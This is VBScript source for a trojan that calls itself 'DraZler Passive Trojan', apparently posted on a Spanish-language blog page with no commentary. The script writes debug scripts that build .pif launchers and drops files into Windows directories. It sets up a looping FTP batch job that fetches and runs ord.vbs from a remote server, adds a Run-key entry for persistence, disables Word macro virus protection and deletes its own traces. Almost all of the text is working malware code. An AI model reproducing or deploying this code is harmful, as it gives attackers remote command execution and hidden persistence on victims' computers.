DrazSrcPif.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif.WriteLine("RCX")
 
DrazSrcPif.WriteLine("400")
 
DrazSrcPif.WriteLine("W")
 
DrazSrcPif.WriteLine("Q")
 
DrazSrcPif.Close()
 
Set DraZ95 = AccesoHD.CreateTextFile("C:\WIN95\drazler.vbs",1,false)
 
DraZ95.WriteLine("On Error Resume Next")
 
DraZ95.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.Close()")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WIN95\wscript.exe C:\WIN95\dinit.vbs" &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ95.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ",Flecha")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ95.Close()
 
Set DraZInit95 = AccesoHD.CreatetextFile("C:\WIN95\dinit.vbs",1,false)
 
DraZInit95.WriteLine("On Error Resume Next")
 
DraZInit95.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit95.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WIN95\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit95.Close()
 
Set DrazSrcPif95 = AccesoHD.CreatetextFile("C:\draz95.src",1,false)
 
DrazSrcPif95.WriteLine("N c:\win95\drazler.pif")
 
DrazSrcPif95.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif95.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif95.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 35 5C 77 73 63 ")
 
DrazSrcPif95.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 35 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ")
 
DrazSrcPif95.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif95.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif95.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif95.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif95.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif95.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ")
 
DrazSrcPif95.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif95.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 35 5C 73 79 73 74 ")
 
DrazSrcPif95.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ")
 
DrazSrcPif95.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif95.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif95.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif95.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif95.WriteLine("RCX")
 
DrazSrcPif95.WriteLine("400")
 
DrazSrcPif95.WriteLine("W")
 
DrazSrcPif95.WriteLine("Q")
 
DrazSrcPif95.Close()
 
Set DraZ98 = AccesoHD.CreateTextFile("C:\WIN98\drazler.vbs",1,false)
 
DraZ98.WriteLine("On Error Resume Next")
 
DraZ98.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.Close()")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WIN98\wscript.exe C:\WIN98\dinit.vbs" &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ98.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ",Flecha")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ98.Close()
 
Set DraZInit98 = AccesoHD.CreatetextFile("C:\WIN98\dinit.vbs",1,false)
 
DraZInit98.WriteLine("On Error Resume Next")
 
DraZInit98.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit98.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WIN98\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit98.Close()
 
Set DrazSrcPif98 = AccesoHD.CreatetextFile("C:\draz98.src",1,false)
 
DrazSrcPif98.WriteLine("N c:\win98\drazler.pif")
 
DrazSrcPif98.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif98.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif98.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 38 5C 77 73 63 ")
 
DrazSrcPif98.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 38 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ")
 
DrazSrcPif98.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif98.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif98.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif98.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif98.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif98.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ")
 
DrazSrcPif98.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif98.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 38 5C 73 79 73 74 ")
 
DrazSrcPif98.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ")
 
DrazSrcPif98.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif98.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif98.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif98.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif98.WriteLine("RCX")
 
DrazSrcPif98.WriteLine("400")
 
DrazSrcPif98.WriteLine("W")
 
DrazSrcPif98.WriteLine("Q")
 
DrazSrcPif98.Close()
 
Set DrazDebugPif = AccesoHD.CreateTextFile("C:\dbg.bat",1,false)
 
DrazDebugPif.WriteLine("@echo off")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz.src &gt;nul")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz95.src &gt;nul")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz98.src &gt;nul")
 
DrazDebugPif.WriteLine("del C:\draz.src")
 
DrazDebugPif.WriteLine("del C:\draz95.src")
 
DrazDebugPif.WriteLine("del C:\draz98.src")
 
DrazDebugPif.Close()
 
Ejecutar.Run "C:\dbg.bat","0"
 
Set DraZInfectionClean = AccesoHD.CreateTextFile("C:\dclean.vbs",1,false)
 
DraZInfectionClean.WriteLine("On Error Resume Next")
 
DraZInfectionClean.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " &amp; Chr(34) &amp; "C:\dbg.bat" &amp; Chr(34))
 
DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " &amp; Chr(34) &amp; "C:\dclean.vbs" &amp; Chr(34))
 
DraZInfectionClean.Close()
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfectClean" , "C:\WINDOWS\wscript.exe C:\dclean.vbs"
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect95Clean" , "C:\WIN95\wscript.exe C:\dclean.vbs"
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect98Clean" , "C:\WIN98\wscript.exe C:\dclean.vbs"
 
Ejecutar.Run "C:\WINDOWS\dinit.vbs","0"
 
Ejecutar.Run "C:\WIN95\dinit.vbs","0"
 
Ejecutar.Run "C:\WIN98\dinit.vbs","0"

Compartir:

Tags: ,

Deja un comentario

Identificarse con Facebook